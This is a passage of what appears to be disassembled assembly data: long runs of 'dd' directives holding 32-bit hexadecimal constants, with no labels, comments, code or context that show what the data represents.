4777D39h, 0F729361h dd 9264AE88h, 346A97CCh, 68E4EE68h, 564AE901h, 0FB1BA380h dd 0C06D00A3h, 69164C52h, 0BC4CF2ACh, 689E004Ah, 124856BBh dd 42291CDEh, 0EC9940CFh, 93407628h, 0EB217D03h, 0B8C9D53Eh dd 506CC4h, 7E556EDh, 0A7F6AD13h, 51E732F4h, 0CC77271Eh dd 12738C87h, 740D3700h, 4AE0B794h, 0E18E0334h, 88DD6D31h dd 0CC6C222Ch, 70063001h, 0E5D8B3A4h, 0AD2E00D4h, 9A040FF3h dd 5900B764h, 0DE9F021Eh, 0C5FFE6h, 20CD036Ch, 0FBA372F0h dd 0B7079200h, 0AA6C78Dh, 66020212h, 9D0113C0h, 0D057E5E1h dd 0AEA18ECEh, 1844B9FBh, 8D0D67CAh, 9AF30034h, 0DE841AF5h dd 0BF28DF31h, 0AF00F72Fh, 9DB64936h, 390CB9F7h, 0E09F9707h dd 0AB3C707Ah, 5B00F923h, 0FCA2735Fh, 31FB882h, 2BE5660Ch dd 7590EC24h, 9300D338h, 0E70D1477h, 9D09FFh, 0BA61E023h dd 0A11B74B5h, 5FF66A60h, 2F0DB387h, 0BD4A712Ch, 257B210h dd 61691FAh, 6A0C37DDh, 8B8483h, 2159601Ah, 838748Fh, 3F5FB30Fh dd 4E5A4B4h, 69574F4h, 0F00C6BA7h, 0B3003B8Dh, 0C44FE05Ah dd 4D6892h, 63C853BCh, 1464EFAFh, 280FBF48h, 73008DA2h dd 9ABB9D78h, 62B2C5h, 1F88B13Ch, 99D22BB6h, 17FBDF00h dd 8FB95187h, 81E4003Eh, 4FF58CA1h, 2D0171A2h, 31F5FF7h dd 7E8086A0h, 10C76DC6h, 34016AA7h, 0D0CE44A9h, 0C8DFE045h dd 3967ADFh, 22B7D08h, 70D78F48h, 6FF51BADh, 79AA0600h dd 4136DBBFh, 0EEC23025h, 2E97F054h, 0B60F807h, 43809608h dd 33ECED0h, 336BA9FEh, 2D0E64C7h, 933992h, 94247A9Bh dd 0B0F7006Ah, 3F42EB3Ah, 0E1000699h, 3E121F49h, 0F392D55h dd 0A05ADB81h dd 53851C5h, 4A8AEFECh, 6480AFh, 930B0459h, 7003A308h dd 0F320C52Eh, 51F798ABh, 0A286A0A4h, 0CAD4033Dh, 6539DA3Fh dd 9B559698h, 215AF301h, 108E8367h, 0E42DF8h, 8D0A4AA9h dd 0AE3EC8EAh, 0C22F9218h, 0D5FC55C2h, 820F1169h, 0BB60AAEAh dd 0C32F58E3h, 862B6060h, 906872Dh, 0C7FD454Ch, 439B1403h dd 72CBD20h, 4E420B23h, 8FABE37Eh, 574031DAh, 9800015Ah dd 0D13FA42Fh, 11D8191h, 8DE529B4h, 0CC382063h, 0B00F6B7h dd 462AE465h, 489DD3CBh, 330438E6h, 90167CA8h, 1CD64739h dd 8EDD1518h, 88017B84h, 6E06A70Ch, 4AADC909h, 1F780C2Fh dd 760F50B3h, 4FC479C7h, 637FBF11h, 0A01D4EC3h, 2009447h dd 0DA3B1FD9h, 0DF34C4h, 0B5DE6935h, 1970D10Fh, 9BB74701h dd 7E09A3Dh, 0A08510F8h, 6A6884CFh, 3E681705h, 8D863380h dd 0EA533AD5h, 322DB21Ch, 921D1F7Dh, 497518F8h, 207E1EEh dd 0F0D48ECFh, 96603F23h, 7B03D060h, 5874049Ah, 1B2709F5h dd 30811CC2h, 7F8F80E2h, 5EB6BE00h, 4CD740h, 0DEDFD2FCh dd 677D1322h, 0FF14C100h, 0D641938Eh, 29C363ECh, 82D0E830h dd 6B0033E0h, 0A84E7702h, 9E6D27h, 0F5F1B274h, 0E1305A18h dd 932BD00h, 0C64DFAA0h, 1E4800D8h, 0EE7E1B3Bh, 9C004267h dd 6D568E5Eh, 54F4406Fh, 85C813h, 57B996F3h, 0A17A9A97h dd 0D565CE00h, 21746B95h, 0B85F00B7h, 948D40A2h, 61036F1Ah dd 53A91DC3h, 7FEE008Fh, 0DD369B26h, 0DC0331C1h, 0C5284433h dd 0EB1E0065h, 45832992h, 12007B98h, 625C9319h, 4DB6AEh dd 0F1AD68BDh, 4973D66h, 0EE749F00h, 88137C22h, 813B006Ch dd 0F228769Dh, 0B790055Ah, 0E51DED01h, 83406EB2h, 144C497Ah dd 36C6ED80h, 1690971Ah, 0E41F7F7Eh, 8A9DFF54h, 1F0C5153h dd 9F1A82h, 0C3EDBC76h, 2214F2D1h, 0D0008D79h, 7231E6Fh dd 0E586A4h, 1079D27Fh, 85E16480h, 0CF58FFF2h, 73591999h dd 0A040F279h, 491E3ACAh, 32002CB4h, 2AE94ED9h, 911C3E74h dd 65C61C82h, 762099FDh, 0C7AB00A6h, 6DC2524Ch, 0B730D3A4h dd 29821F54h, 2E3558C0h, 0C2C72800h, 0E7F20E9Eh, 0FDF6D01h dd 0B419A4FDh, 4CAFFD30h, 5300025Ah, 0EB45D437h, 0A91202FFh dd 87007003h, 3A2663FBh, 75B98AAh, 32F8EA8Eh, 316D604Ch dd 0D738F38Bh, 7017CCCh, 9CF181DAh, 0EE60ED75h, 5A83060Eh dd 0E4BF76B4h, 2487A312h, 0BD52C340h, 98C04B53h, 35C509C3h dd 78A0A0F5h, 545FD379h, 121F575Ch, 0F700F952h, 452F830Ah dd 89E63172h, 0E82B8E92h, 597007E4h, 0D5619737h, 50F6430h dd 7FF31899h, 31075C5Dh, 85A1E10Fh, 0D50F22h, 0BE0C817h dd 16BB3CC2h, 0D67C93h, 425CB7ACh, 0B4075F0Ch, 0FE1A5AEAh dd 7D4B5B0h, 0CA7000C9h, 613DD237h, 1B7444D6h, 7A3F7D58h dd 0B0EE251Ch, 9480D5C1h, 0E4F6640Ah, 0BB1604CFh, 0D46FA75Ch dd 36E9888Fh, 78DD6809h, 12CF009Ch, 59149FFFh, 4C029BAFh dd 0EB50DBC3h, 84E90540h, 8506F698h, 4EC8152h, 1678BF5Dh dd 0C3F6E3E6h, 0EB830BA0h, 1CC387ECh, 4E27685Ch, 0CD91E1Bh dd 14117EF2h, 59C660F1h, 17D5500h, 52BDBF57h, 81170EB2h dd 0F3C7FAEFh, 0EF7606Dh, 0A000C2D6h, 295FFE89h, 625459CEh dd 0C481448Bh, 86A03FADh, 8428F6Dh, 15567A25h, 15C681E6h dd 2A870C66h, 8FF5C35h, 0F4C5886h, 0FBA530E9h, 1E565F60h dd 1200C9BDh, 0D94BB88Ah, 7F0307FEh, 0F4E005C5h, 76E2A75h dd 603914C0h, 220C6663h, 5A4B5500h, 595E7827h, 4E8900C7h dd 441A342Dh, 2A007F0Ah, 5107308Ah, 79497B9Bh, 6B1201A7h dd 6A70ED1Fh, 4263F8F0h, 134E7500h, 521DA41Bh, 58E0004Ah dd 0F178AF11h, 2D26CB0Ch, 0BF003181h, 95BD51EAh, 0FE3600D9h dd 334EF2AEh, 4F019F40h, 6A978D7Fh, 1C319ACCh, 0AEDD123Fh dd 3A049D7Bh, 0A8C090EFh, 22B2036h, 53BFBB50h, 37D419CFh dd 0C9187D27h, 0CA97258Dh, 7B297B6Eh, 29DED8D8h, 40718D4Ch dd 0BD4A8B26h, 0DC8590E5h, 0A8FEDC37h, 0FDAD6B0h, 565E0880h dd 0A36068CFh, 6DB01ADAh, 0C6DD8A17h, 6F6A4BB9h, 333D00E6h dd 31623564h, 9B14E95h, 0C0F66AECh, 8A9D29C3h, 5396F51Fh dd 403FCD97h, 0FD8B5E77h, 40EC4D4Eh, 8005A9D3h, 0CCF9DF81h dd 0C6D148FFh, 0A13FBD06h, 0D7161A1Ah, 74A209FCh, 3DDDDA89h dd 605B800Ah, 506E2CBFh, 0C6B62F4Ah, 82297076h, 0D4D4E257h dd 0AA28DCE7h, 0C520A586h, 0BF660501h, 0EF8BADBBh, 0CD3AE889h dd 0FBF43F10h, 11A3028Ch, 487115B1h, 497A5DEh, 0CABC48FDh dd 0EB9F9407h, 5B318106h, 297A9557h, 0D46A2ABAh, 40926601h dd 38F93BCCh, 24B080C8h, 4A144478h, 0CBAEB997h, 0AEA6000Eh dd 0B592E970h, 4120AF1Ch, 0E7FD80DCh, 0F3F74B21h, 8512432h dd 37FC8801h, 0DD3A5F06h, 0A86A3A44h, 95E6957Dh, 8BDB8101h dd 906B0E10h, 2E76307Ah, 0AF00B380h, 7247A3DAh, 2D990663h dd 0AEE4699Bh, 744D0C01h, 8875EB84h, 753617C8h, 0F8A00F2Ah dd 0E380AA02h, 0B638BB66h, 904F5F71h, 0F1804A9Bh, 6360B78h dd 76ADB64Bh, 8C1BB8h, 74D0F20Dh, 0F616EC39h, 492D3698h dd 27116708h, 67512073h, 46DDCFCh, 63A8FE90h, 9CDABAB4h dd 65C01DC8h, 22E6456h, 25B92CC4h, 0DF82FB0Fh, 35C0A24Ch dd 6D95FF6Ah, 606EC2C2h, 10013061h, 0BC5A57F9h, 8055252Fh dd 4ECF81EDh, 4C1501B2h, 399D0B51h, 5B1A9617h, 0EF3443B6h dd 20FC0547h, 0C525811Ch, 82B00323h, 9126160h, 0BD0101C2h dd 618C502Dh, 0CC9870E6h, 40CB799Dh, 7FBD0C2Dh, 0A1171600h dd 0C7296725h, 187D0B96h, 99DFE8A0h, 35A7AED3h, 40AD8AF1h dd 8906BA63h, 0C2A03EF5h, 8F0908C7h, 0D8A50B0Ch, 0EACDD20Ah dd 0AEB3B725h, 88D14B76h, 291657F1h, 5452A595h, 758506AFh dd 0BD132B11h, 78AC1479h, 6D25898Fh, 20091C0Ah, 591EAD27h dd 111D917Ch, 750AE8h, 1F782518h, 2B4B041Eh, 0FA8374Ah dd 33E95BC2h, 9540C657h, 8084567Eh, 842132EBh, 0E5216A1Fh dd 0D9092A65h, 20EF0C27h, 67890E17h, 0E1616ADAh, 2A094CDCh dd 210122F3h, 0B8777476h, 6B064D38h, 0BEA3AF1h, 192D79D8h dd 0F4995410h, 32498C00h, 0C5EEA11Eh, 1B9183Ch, 59BDDF09h dd 0C6911F41h, 8DC44F81h, 2209CD04h, 859D0E18h, 9AA6245Eh dd 1DB50104h, 0A399FA35h, 0D417D41h, 0D1855989h, 95A93CF5h dd 0FB704A53h, 0AF7D0097h, 80E25FC4h, 61B551E7h, 0AC205B52h dd 0AC074E93h, 5760C065h, 1DE815Fh, 6A2DDFDAh, 6E880D61h dd 88FFBF75h, 7B074933h, 0AE078E6Ch, 21AC4784h, 93B8A8D2h dd 3CBF8AAEh, 0E34FF62Ch, 16ACC9A9h, 210545B3h, 7080EFEAh dd 28CF09A7h, 41C5032Dh, 3E926415h, 33B2394Eh, 8AB2DAF5h dd 0B404C467h, 0C1AFD780h, 6E0B25AAh, 0F3A041A7h, 0EE7EBEF7h dd 1ECB321Ah, 0B883C0AAh, 4814B5BCh, 73977F70h, 0F37AD0D5h dd 0D3B2E601h, 0DCF216BBh, 9D3FD87Bh, 0D6178925h, 1446DE7Ch dd 6B59977Bh, 5AF5397h, 0E9E1FF78h, 0B92BB97Dh, 45692D14h dd 4FE21A91h, 0F051897Eh, 0C501BADh, 568E0A5Ah, 6001A722h dd 74BAF4BFh, 77303101h, 0F0449D21h, 41850913h, 0B5F90EF0h dd 75ED280Bh, 9DFAE4C4h, 99A08BB4h, 6B1D512Fh, 1D4080EDh dd 12C79C47h, 0E1815893h, 14743F58h, 16A96AABh, 30BBEA60h dd 21745804h, 13FB9A4Ch, 5D6F2404h, 4D62E300h, 68A6DE7Ah dd 48424030h, 3D5ECEBFh dd 0EF0444C2h, 0FB9710E5h, 6C991820h, 787758A4h, 107C8130h dd 694B0E1Eh, 0F877756Eh, 0DC609EBh, 385D3291h, 0B71D51E4h dd 18C52DEEh, 70EB1525h, 0BF7816Ch, 37C9D10Fh, 5B0129E9h dd 202CD388h, 0F925D9B5h, 3569BCh, 7DEA3F87h, 41A860F5h dd 86CE4DDh, 810F3211h, 25D50FC2h, 29A86158h, 5BDB80C7h dd 22BD8D02h, 0A73AC5F7h, 8F40746Dh, 24F9EDA1h, 0DE4A0689h dd 60CF6D00h, 5682BA66h, 616824B3h, 0CF80C1A0h, 6A176AC9h dd 2F4408BFh, 3853960Ch, 0B2CF4B8Bh, 33BC003Dh, 28CBD455h dd 0A3C20054h, 759CDD2Fh, 49000693h, 0F7E0D5E4h, 4B5F615Ah dd 3493BC50h, 3DB650C6h, 9C7087E0h, 0FBB99E26h, 23F88616h dd 0B63AF445h, 84B6F00Ah, 981325DDh, 38898710h, 2B551800h dd 395BE0C9h, 71011EF9h, 7FF3099Ch, 40813505h, 8C5D689Ah dd 50038805h, 7CF0BF52h, 31F48F54h, 0CE8060E8h, 0DFAAFE82h dd 51038600h, 6526F33Ah, 88D35F4Fh, 0A926D8F2h, 7E05A0B3h dd 85FA5BBEh, 0A2DA41E5h, 6A781977h, 0E380E5DBh, 9BFE55FDh dd 0B41A7413h, 405DCFCh, 0BF858DEBh, 2328677Eh, 0C64016C7h dd 7884F250h, 1F36B02h, 60688BABh, 34CFA4DFh, 0BFCE89D6h dd 5280DD65h, 31616006h, 0E34E40B7h, 633D6A65h, 80B79A2Fh dd 0F299FF4Fh, 0D2D90084h, 80E723F0h, 949FBEEFh, 9E385E39h dd 9890C95Ch, 0ECE364BCh, 22A93D19h, 3F5127A5h, 0CC60E349h dd 0E4CE3BEAh, 0AD018B6Bh, 3A2664BFh, 24296A7Fh, 88C92EE6h dd 0F860FC69h, 2740EDBDh, 9AD4A561h, 95D3768h, 0A3335DB6h dd 7A227DB1h, 481AE9Ch, 5AD030DBh, 0C052FC1Eh, 459F23BFh dd 964DBD67h, 0F9621464h, 1DED85E0h, 0F83C9681h, 2E55809Eh dd 6E88082Bh, 0BD9E7800h, 60CA4149h, 0B0E64B8Ah, 502D5B53h dd 133D3796h, 0ECE017D0h, 9755C011h, 0E478E227h, 0C5FD00D3h dd 304A1289h, 1C2948FEh, 5BAD9CC7h, 418F7830h, 0F3EA7AE8h dd 5E0FF097h, 0F66413B9h, 301AB229h, 861FE03Eh, 0B356C6FEh dd 39A6DC8h, 4F8707ADh, 2F901FE5h, 0F2F928Fh, 50ADFC8Bh dd 0F91F0221h, 74C4C744h, 47FB798Ah, 0B2E66E18h, 74C5F4Dh dd 0E95ADD98h, 4DED4C84h, 47002DECh, 49A384ECh, 96A23BBFh dd 0C71A40FCh, 110173B1h, 0AF7DFA1h, 2770D6CBh, 7C60624Eh dd 0CC5F0CCDh, 672302C4h, 61E7EF87h, 89246CD4h, 36801FCh dd 0F489DF53h, 23FAE0B3h, 7CF56031h, 0E26F02F1h, 0F9A697B5h dd 0FF2EA1E0h, 0BCC56E1Eh, 0C41AF42Fh, 7505BBBFh, 65EA1079h dd 0A18EB6F7h, 8C2EBE94h, 0F9953169h, 0D0E227B5h, 0F1967860h dd 7E373F2Fh, 0C10A5576h, 0B504D5A7h, 31020D71h, 774A2995h dd 0B7B8D125h, 0B314B072h, 0A3911363h, 0E99400C4h, 6E96EF81h dd 334E2C02h, 92116D9Dh, 9A4EDDCDh, 0B8E3F717h, 0AB9CA95h dd 8E00D5E8h, 1676430Eh, 0C02F5C88h, 7CA0F35Eh, 2D20BD2Bh dd 7272C00Fh, 961B8A17h, 2C5D80BFh, 0C012E9E0h, 77229A51h dd 6500F126h, 0CFEA01D0h, 53483BCh, 0CB29638Bh, 0FE90EE2Fh dd 2F1080BBh, 0CA49198Eh, 0B8982D96h, 0EAED00E7h, 3BB5D503h dd 0CC95CA60h, 73E5B768h, 0BD1DA438h, 0B2EEC4E0h, 8A4B5AEBh dd 8A8872D2h, 529609DEh, 0E2A058B3h, 24E58529h, 616971B7h dd 6A0C5DD3h, 1FFD7F17h, 9094DECh, 0F505499Dh, 66C09B15h dd 50A9D802h, 0CB34E9h, 33FEBD05h, 5F28CC7Fh, 8D9FA600h dd 5174C8EDh, 0E7D516C5h, 3FFDB186h, 82EFA834h, 7CD45BB1h dd 0BC155851h, 53112F59h, 181779B1h, 26203E98h, 4D858989h dd 0EAC6CA24h, 0AA92BEDEh, 0B134681h, 97A2D2DCh, 1CD91F5Bh dd 0B3387A18h, 1F751789h, 0E9F85613h, 0F033E702h, 82D4C7E9h dd 70BE5B25h, 0DA012582h, 2FEC8021h, 0ED2F892Ch, 968B3A82h dd 60BFDD8Ah, 2F419D7Fh, 0E67782h, 935E98BDh, 0D0330369h dd 0F38CF1AFh, 0FDD6EFA8h, 2B13EA7Bh, 0DBAA389Fh, 86EBC033h dd 4F7C487h, 0F2CD53D9h, 3FB6FB90h, 0E20280F0h, 336E0518h dd 17EBC4E6h, 0A05307FEh, 4D985BCAh, 0C2364625h, 82E1D7ADh dd 0FBFFB118h, 917C8D0Fh, 0E55E09A0h, 86C43800h, 0EC0A6EEAh dd 57FE06F9h, 0B0457C61h, 0B0076071h, 0CC780CEh, 0F86CBBC0h dd 0B6247610h, 3B130BB8h, 4DCBDDFh, 0AEC7719Ah, 0CAEFCDD4h dd 22D9A09Bh, 9FFB09B4h, 35751F88h, 851591F6h, 0B480E1DAh dd 0A7A0791h, 0D1BD2365h, 6EFF9DAFh, 58131100h, 3D3FC187h dd 0F76E832Eh, 3B72122Ch, 9489D3E2h, 0B8A5BD5Dh, 7983EF81h dd 36026A2Ah, 0F764F035h, 88365E79h, 1D00123Ch, 8C0A0E17h dd 2C3DB8A2h, 0BD53A1h, 8A903482h, 0BD9050D8h, 0B7DB6EEDh dd 0A6C6029Ch, 31FF9040h, 26C5B56Ch, 20FF9D7Eh, 1F4021ADh dd 8EF14BE9h, 8ECE248Dh, 0DEA1F625h, 95091204h, 874E0675h dd 173948B1h, 77BF2D71h, 0F59DC34Dh, 810FA30Ch, 6660310Bh dd 1B0C2801h, 61F8BF0Eh, 0CD0B8190h, 0B26E191Fh, 8F5727C5h dd 5C04F38Ah, 8EFA1455h, 0B0EB46D0h, 6710C2FBh, 49E9582Ah dd 0BBCDCF57h, 28876ECEh, 0E94CD059h, 299D85CAh, 2DB5E220h dd 35578111h, 5CCA58h, 0F60123C2h, 90A4496h, 0B1A843B0h dd 0AD2370E6h, 0F5840074h, 0DC85E1BCh, 2C00F424h, 1C18B909h dd 165171E4h, 9E9C3BFh, 0F05A5B9Ch, 1031F244h, 220B1B5h dd 2553F9BFh, 3CF55657h, 0C14EF004h, 96FAAC17h, 9F7BD0ADh dd 7D4B5E7Ch, 96E63B00h, 9F025B0Eh, 1B13828h, 0A5DE56B5h dd 0BF4E80FFh, 0B5092F87h, 0B17CAFAh, 2752D5BDh, 87B19FCh dd 0D166713h, 1FC6000h, 0C9295595h, 0F92E949h, 7256EA55h dd 978A7828h, 25070F04h, 75E90BBEh, 69F9D06Bh, 90F472Ah dd 57E97D7Eh, 0FBF4BD6Ch, 0F5BE930h, 6319BD33h, 0FF8D4D25h dd 220035Ah, 3752CCh, 1E2B24F1h, 0E6B0E0F8h, 103D6112h dd 43120B87h, 44265C5Fh, 31EA532Dh, 0F0F1FE3Ch, 832815BAh dd 4CF733A5h, 0B97F3CB9h, 98652900h, 0FD50DA2Ah, 958929B4h dd 346C2587h, 0C2656920h, 0BE35DB84h, 0F5A02BFDh, 255BF7A9h dd 80181859h, 0D21EC509h, 1659418Fh, 0E9CDBA48h, 0A864B902h dd 6960318Dh, 12115C8Ah, 0E2D88BB4h, 2C11144h, 9D852904h dd 1BB6752Ch, 5365B2E0h, 1155909h, 0C02B129Dh, 25A8022Eh dd 0DA6DD22Bh, 82AD57C0h, 368B4860h, 61F0B709h, 0C7FDCF57h dd 80100E1Ch, 6B3BF6B0h, 566809ECh, 3E229FE1h, 0F975164Fh dd 118F00B3h, 38EC5B05h, 2E12E517h, 0B516D5F6h, 0E452AF3Dh dd 0F0E02FE6h, 1E7EDF32h, 34A7E206h, 2621880Dh, 1327F560h dd 5B42CAF2h, 38A010B6h, 2612CAFAh, 6A95800Fh, 8A0720ABh dd 21004B6Ah, 0F5A89047h, 254201F8h, 0C1CD5F80h, 8C601864h dd 832FE288h, 107200C2h, 258589F6h, 0BCF92EEDh, 0B562827Ah dd 27984433h, 0F3D4294Dh, 213B7E71h, 2F76F40Dh, 1C88C2DAh dd 553D1C0h, 0D3820475h, 0B9113F9Dh, 4F9AD275h, 3ED2DC9Fh dd 2E724804h, 0C996F8CAh, 83CA572Bh, 0FB378877h, 9AE1FF8Bh dd 16597FB6h, 2DE62487h, 0BC4B97F0h, 55B9F7Fh, 0DC2A564Bh dd 0ADDF571Ch, 81BD09C2h, 0D1F15527h, 0AF523FC4h, 0EC2AD489h dd 0A5F5A3D5h, 117ABBh, 7B690B21h, 18E2DA4Ch, 725237EDh dd 0B78010A1h, 68606BDCh, 0CED318F5h, 86E49DD4h, 6E99D303h dd 0EFC7917Fh, 533CC000h, 9EDEEC6h, 0AFB01FCAh, 0E3E6805Dh dd 975BA4ACh, 0E14DE80Bh, 874EE5C0h, 8C2E01DCh, 95BD2906h dd 18B63E14h, 0A6A83E5Dh dd 5309A497h, 0A0ABA7FAh, 97FFF7BAh, 0D9271270h, 0E0CF4C26h dd 228B0195h, 14FF747Eh, 19A3C8A0h, 66F6EC25h, 1D0D9D9Bh dd 1C322E07h, 90D7C0F5h, 50DE288Ah, 0DDCD3CC5h, 80AADB4Fh dd 0CB3E8B21h, 0B09B17FAh, 0DD0A30EBh, 1FA7B6Eh, 376A5325h dd 0ABB08080h, 0F76806A8h, 9AB5C100h, 93824EBBh, 4182957Ah dd 16E24208h, 7805EB7h, 0C9BAA9C1h, 84C0B31h, 17761513h dd 0AC22A140h, 87B4006Eh, 0C88D9052h, 9B134B14h, 52C2A2C3h dd 45F052Ch, 0BD692BA5h, 9FA9231h, 0B08981B1h, 0F4BFD5h dd 49BB4DFDh, 0A7EA1187h, 0E8072908h, 80D1800Ch, 6C7F933Ch dd 3D175202h, 779DC7B6h, 5F020C51h, 7E01B5E9h, 0A8759304h dd 0F7F8A272h, 0C2D240ECh, 0B72A21E1h, 6509B5ECh, 0A0367927h dd 0BE8E3E97h, 0DE9306A4h, 0AD5AAE07h, 0F46B80C7h, 6DE30914h dd 8FA6BCD3h, 0D8C103D6h, 8A724F1Eh, 2FFA8BA9h, 95D63D1Ch dd 5001ECA9h, 0EBF0FEBFh, 8B117A49h, 2D13BC8Ch, 0E7E6DB73h dd 1E1049Dh, 0F4E93A1Fh, 77C012F4h, 142DEA8Fh, 0BE97B25h dd 74864607h, 5B72A2C7h, 6969EDF7h, 26171953h, 51B09AB8h dd 691719BBh, 4519346Ah, 53C4603Bh, 0F561715Ah, 0B01964C2h dd 0A6F85E13h, 301CB2D0h, 7700C683h, 914166Ah, 4B8932D1h dd 289FE9BDh, 0C428FE90h, 700CCB02h, 1632FC60h, 0ADDF4B8Bh dd 8C18AC25h, 88AF3104h, 30FED58Fh, 0FC2DCB9Ch, 30964001h dd 9807E8EAh, 4C2AB33Bh, 59CB1455h, 0EB00758Bh, 8275F10h dd 2F0183BFh, 0E4511BA7h, 1F39B5C1h, 1222220Fh, 0BD37E9FCh dd 0BD9AECD3h, 255F5CFBh, 0F8B5BA31h, 9012142Fh, 339B5F57h dd 1BDDBF93h, 69DE202Ah, 130E2C76h, 60725559h, 6E5F6056h dd 2EDA9065h, 1629F6CDh, 0CB3CEADDh, 0F7818820h, 0E129397Fh dd 0D66F767h, 26F39D26h, 9E94C78h, 2AD78030h, 2BAF8555h dd 236B6FBEh, 3A043F18h, 0C1FB1998h, 2FAE16E2h, 74E36735h dd 61C2FC25h, 0D0925357h, 0BF70712Fh, 282B0816h, 38D96BEAh dd 84701Dh, 0EE7123FAh, 6BE94995h, 0FAADCA2Fh, 611740D1h dd 6A8D2925h, 9FF278A0h, 0D852355Eh, 0B30780DDh, 0A1449D98h dd 0DC13BCh, 189CEA1Ch, 9D33F3A9h, 0DAA531F4h, 9723D825h dd 0BE1C621Bh, 7D207D8Dh, 30E53429h, 0A2C064CBh, 37FC1E56h dd 0B8E5DE80h, 23B94B6h, 884DF861h, 325E83BDh, 61CF4F25h dd 0F0EDD1AAh, 0D009A927h, 5234585h, 9DBA1841h, 67202AF9h dd 70AF4933h, 0FD53B790h, 44AEC5Ah, 0B55D49C1h, 0EAC4AF33h dd 5D99AAC2h, 2B7DE46h, 5C1F2C76h, 7DCD27C3h, 0C29B5CC0h dd 0A5B52431h, 0E166A5F6h, 65185A0h, 2D644E9Dh, 175CDAB7h dd 7D1F09F4h, 0E6D57EE7h, 95BD12C7h, 9FEAB234h, 70EADE53h dd 0EB8CCFF9h, 3DB5058h, 0D18A5FB3h, 52BAE861h, 6124EB5Eh dd 0AFED97F9h, 0C1EF9068h, 8E0FAF93h, 2FEF8D6Bh, 6A7A53DDh dd 366F008Ah, 0C562ABF2h, 98963AB8h, 22828A4Bh, 0E5EE976Dh dd 5B24A927h, 209BA83Ah, 965E26E9h, 108DEC49h, 2769BF4Fh dd 0A0E98A23h, 7DFC1209h, 5712705Ah, 0B337E3EEh, 0E8A1D090h dd 9B9F0284h, 14486627h, 4B237857h, 6F20C45Fh, 0A04917ADh dd 3C910CA9h, 5C7E3A00h, 2F18F2C5h, 8A023B90h, 0BE224B3Dh dd 0FD4C7DD3h, 777311A2h, 715B5B28h, 174C3DA9h, 219302ABh dd 213BBFFh, 0C75CF434h, 0D5B52962h, 0C9564DCAh, 0E1816DD2h dd 214CF16Fh, 48E26F8Eh, 2975B509h, 43AFED73h, 0C6253805h dd 0BC56BD5Fh, 0C2D917D4h, 5B7BBFB6h, 0FA46605Ah, 5A00D351h dd 0D7627D50h, 9A059589h, 0A2F84EA4h, 92DB4E4Ch, 17A36A83h dd 0F3B9B2F8h, 2AE45582h, 2C219517h, 496D3FBFh, 3DDEC156h dd 0F77B0B77h, 6781346Bh, 0D9854287h, 777BD7AAh, 2FD3CA8Ah dd 0CBBED25Ch, 37804B9Eh, 466EAEE1h, 0B3004578h, 88C78151h dd 0B5109EA3h, 49623276h, 77E40CDh, 81F4B9E3h, 73609ADBh dd 14B8EC16h, 0EE097B00h, 0C03AEC9Dh, 0DA6C61B6h, 7EFEFBC9h dd 2389F31Fh, 7E905CFAh, 0A2021846h, 7AAA2B60h, 4E88D768h dd 40C0FE82h, 71567876h, 0E7864B00h, 1C5BD5A1h, 0FB660168h dd 0D787DFB1h, 3C5EC5B0h, 5C378010h, 0F6E2C54Ch, 13D6E808h dd 0BEC52CBh, 0AF76DEFCh, 53DDF25h, 60B52328h, 5ACF8086h dd 2318891h, 0EAF4BA00h, 0DA267E44h, 32720264h, 0BD099659h dd 5BD425D5h, 71ECF525h, 0ECA01058h, 8A25098Fh, 6830EDFCh dd 0DBCB6F56h, 2817D75Ch, 0AAB484A8h, 0AC8FACDAh, 0A60938DFh dd 2C180EEAh, 730B8C71h, 7C89F182h, 0F8D189DEh, 79442079h dd 0D189054h, 8902DF2Eh, 26F49D4Ah, 0C3869F60h, 61713BB5h dd 4A569058h, 0FB8917BBh, 70BF5230h, 6C1E2C74h, 88501635h dd 1DEC206Bh, 74EB2500h, 78291E2Ah, 9D450913h, 89FF4071h dd 5EDFDB0h, 1D0FCC7h, 9CA7AFD6h, 27C60B82h, 6F5242B1h dd 2215408h, 0CA1E95Bh, 0D358055Eh, 903181FBh, 47C32F4h dd 0EA06FCEBh, 0D938822Bh, 0AD33F955h, 9D84A2F1h, 9001181Dh dd 2150F98Bh, 360D820h, 21F5854Fh, 3E75E33Ah, 34F91001h dd 49318851h, 0F6EA1254h, 868597BAh, 0ED2EB6F1h, 5C37A993h dd 0FC3A4000h, 6AB8F780h, 3CF6FF5Ah, 81B330E5h, 4AE282DBh dd 0BE87E58h, 6DFA2D6Dh, 0B655E043h, 0B90107AFh, 0EDF738BEh dd 622FF53Ah, 7A2C3706h, 105B0BC4h, 4FFBB038h, 2FFA5025h dd 4A52D9B7h, 0CAC0DF10h, 0ABA41588h, 0E7AC0A92h, 8644608Bh dd 1E2C1302h, 40D1F33Bh, 1259F1B0h, 4BA18529h, 72A361A1h dd 0BAB2FCD6h, 0ED8273ECh, 9FA14CFFh, 58A5CF79h, 0AFE70414h dd 54494234h, 8887C0A2h, 13C0D317h, 0BB36C789h, 0B82E0A8Dh dd 99BDC2EDh, 0BC5F0433h, 0D4E5022h, 0C82B81C4h, 0D19A4EFAh dd 0B4ADDF80h, 9360E932h, 619D2943h, 155CB907h, 2D122D01h dd 7F1DF208h, 150ADA6Eh, 0CF270055h, 42E9FE33h, 0A5360058h dd 153D0438h, 0F828CE95h, 0DF4BC45Bh, 292924D2h, 5669A654h dd 80AF477Dh, 950D6E77h, 0A516F63Eh, 0E045DE40h, 981DEDC0h dd 2EDE721Ch, 2DFBB282h, 64405E6Ch, 4E28AEF9h, 3EB2580h dd 231520ECh, 5895F19Dh, 667E407Fh, 0DC94BF17h, 75C82FA9h dd 6140D12Eh, 5F45553h, 0D77AFCBFh, 0DE35964Bh, 77ADE5BEh dd 16173235h, 23A3A560h, 0B26026A8h, 61F209C6h, 82C14888h dd 0F9BD3157h, 0E140D354h, 4E9509FCh, 7BB687F1h, 0BE77418h dd 36338705h, 12FDC02Bh, 9409E5B8h, 7BDED60h, 0C1A2C7ACh dd 6E3F5DBAh, 857B9000h, 172ADFDEh, 128BBBD7h, 0D002E6DDh dd 3925FC5Ch, 0B6488396h, 92028842h, 19D7180Ah, 1508D9A4h dd 0D7FF2C5Ah, 70683ADEh, 0DDFF7305h, 0AE8CBAACh, 0B4855ABDh dd 0D94E95C9h, 0A6EC41E9h, 0A0B8CF12h, 6A4ED8E7h, 94180368h dd 0C011D0D5h, 481BA15h, 97CA10F7h, 684812Eh, 0DA2F2ECEh dd 4E298110h, 0B6D240FDh, 23726DAh, 4EE923C4h, 78C19B8h dd 7D1792E7h, 0D971392Fh, 0E2E1FF89h, 51935655h, 0A8F2B87h dd 0F69D9522h, 61BD600Ah, 14972904h, 1474571h, 3E215F98h dd 6D295CA5h, 